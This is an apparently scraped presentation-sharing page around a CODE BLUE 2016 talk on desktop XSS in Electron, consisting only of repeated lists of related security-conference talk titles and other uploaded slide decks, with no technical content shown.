[CB16] Keynote: How much security is too much? by Karsten Nohl[CB16] Keynote: How much security is too much? by Karsten Nohl
[CB16] Keynote: How much security is too much? by Karsten Nohl
 
[CB16] Background Story of "Operation neutralizing banking malware" and highl...
[CB16] Background Story of "Operation neutralizing banking malware" and highl...[CB16] Background Story of "Operation neutralizing banking malware" and highl...
[CB16] Background Story of "Operation neutralizing banking malware" and highl...
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
 
[CB16] Security in the IoT World: Analyzing the Security of Mobile Apps for A...
[CB16] Security in the IoT World: Analyzing the Security of Mobile Apps for A...[CB16] Security in the IoT World: Analyzing the Security of Mobile Apps for A...
[CB16] Security in the IoT World: Analyzing the Security of Mobile Apps for A...
 
[CB16] Who put the backdoor in my modem? by Ewerson Guimaraes
[CB16] Who put the backdoor in my modem? by Ewerson Guimaraes[CB16] Who put the backdoor in my modem? by Ewerson Guimaraes
[CB16] Who put the backdoor in my modem? by Ewerson Guimaraes
 
[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho
[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho
[CB16] 難解なウェブアプリケーションの脆弱性 by Andrés Riancho
 
[CB16] WireGuard: Next Generation Abuse-Resistant Kernel Network Tunnel by Ja...
[CB16] WireGuard: Next Generation Abuse-Resistant Kernel Network Tunnel by Ja...[CB16] WireGuard: Next Generation Abuse-Resistant Kernel Network Tunnel by Ja...
[CB16] WireGuard: Next Generation Abuse-Resistant Kernel Network Tunnel by Ja...
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
 
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
 

Similar to [CB16] Electron - Build cross platform desktop XSS, it’s easier than you think by Yosuke Hasegawa

(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS UniverseStefano Di Paola
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Stephan Chenette
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 
Web Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsWeb Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsAlan Kan
 
Visual Studio Tools for Apache Cordova (TACO) and Ionic
Visual Studio Tools for Apache Cordova (TACO) and IonicVisual Studio Tools for Apache Cordova (TACO) and Ionic
Visual Studio Tools for Apache Cordova (TACO) and IonicJustin James
 
Get Ready for Web Application Security Testing
Get Ready for Web Application Security TestingGet Ready for Web Application Security Testing
Get Ready for Web Application Security TestingAlan Kan
 
Building Social Enterprise with Ruby and Salesforce
Building Social Enterprise with Ruby and SalesforceBuilding Social Enterprise with Ruby and Salesforce
Building Social Enterprise with Ruby and SalesforceRaymond Gao
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...Quek Lilian
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defenseamiable_indian
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecuritiesamiable_indian
 
Web Development Presentation
Web Development PresentationWeb Development Presentation
Web Development PresentationTurnToTech
 
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSFAppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSFAjin Abraham
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 
Fixing the mobile web - Internet World Romania
Fixing the mobile web - Internet World RomaniaFixing the mobile web - Internet World Romania
Fixing the mobile web - Internet World RomaniaChristian Heilmann
 
Hacking your Droid (Aditya Gupta)
Hacking your Droid (Aditya Gupta)Hacking your Droid (Aditya Gupta)
Hacking your Droid (Aditya Gupta)ClubHack
 

Similar to [CB16] Electron - Build cross platform desktop XSS, it’s easier than you think by Yosuke Hasegawa (20)

(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
 
Appsec XSS Case Study
Appsec XSS Case StudyAppsec XSS Case Study
Appsec XSS Case Study
 
Security Tech Talk
Security Tech TalkSecurity Tech Talk
Security Tech Talk
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Web Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsWeb Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging Threats
 
Visual Studio Tools for Apache Cordova (TACO) and Ionic
Visual Studio Tools for Apache Cordova (TACO) and IonicVisual Studio Tools for Apache Cordova (TACO) and Ionic
Visual Studio Tools for Apache Cordova (TACO) and Ionic
 
Get Ready for Web Application Security Testing
Get Ready for Web Application Security TestingGet Ready for Web Application Security Testing
Get Ready for Web Application Security Testing
 
Building Social Enterprise with Ruby and Salesforce
Building Social Enterprise with Ruby and SalesforceBuilding Social Enterprise with Ruby and Salesforce
Building Social Enterprise with Ruby and Salesforce
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Web Development Presentation
Web Development PresentationWeb Development Presentation
Web Development Presentation
 
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSFAppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
 
mobsf.pdf
mobsf.pdfmobsf.pdf
mobsf.pdf
 
Pentesting Android Apps
Pentesting Android AppsPentesting Android Apps
Pentesting Android Apps
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
Fixing the mobile web - Internet World Romania
Fixing the mobile web - Internet World RomaniaFixing the mobile web - Internet World Romania
Fixing the mobile web - Internet World Romania
 
Hacking your Droid (Aditya Gupta)
Hacking your Droid (Aditya Gupta)Hacking your Droid (Aditya Gupta)
Hacking your Droid (Aditya Gupta)
 

More from CODE BLUE

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...CODE BLUE
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten NohlCODE BLUE
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo PupilloCODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫CODE BLUE
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...CODE BLUE
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...CODE BLUE
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...CODE BLUE
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...CODE BLUE
 

More from CODE BLUE (20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 

Recently uploaded

Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????blackmambaettijean
 
Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rick Flair
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...AliaaTarek5
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 

Recently uploaded (20)

Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????
 
Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
 
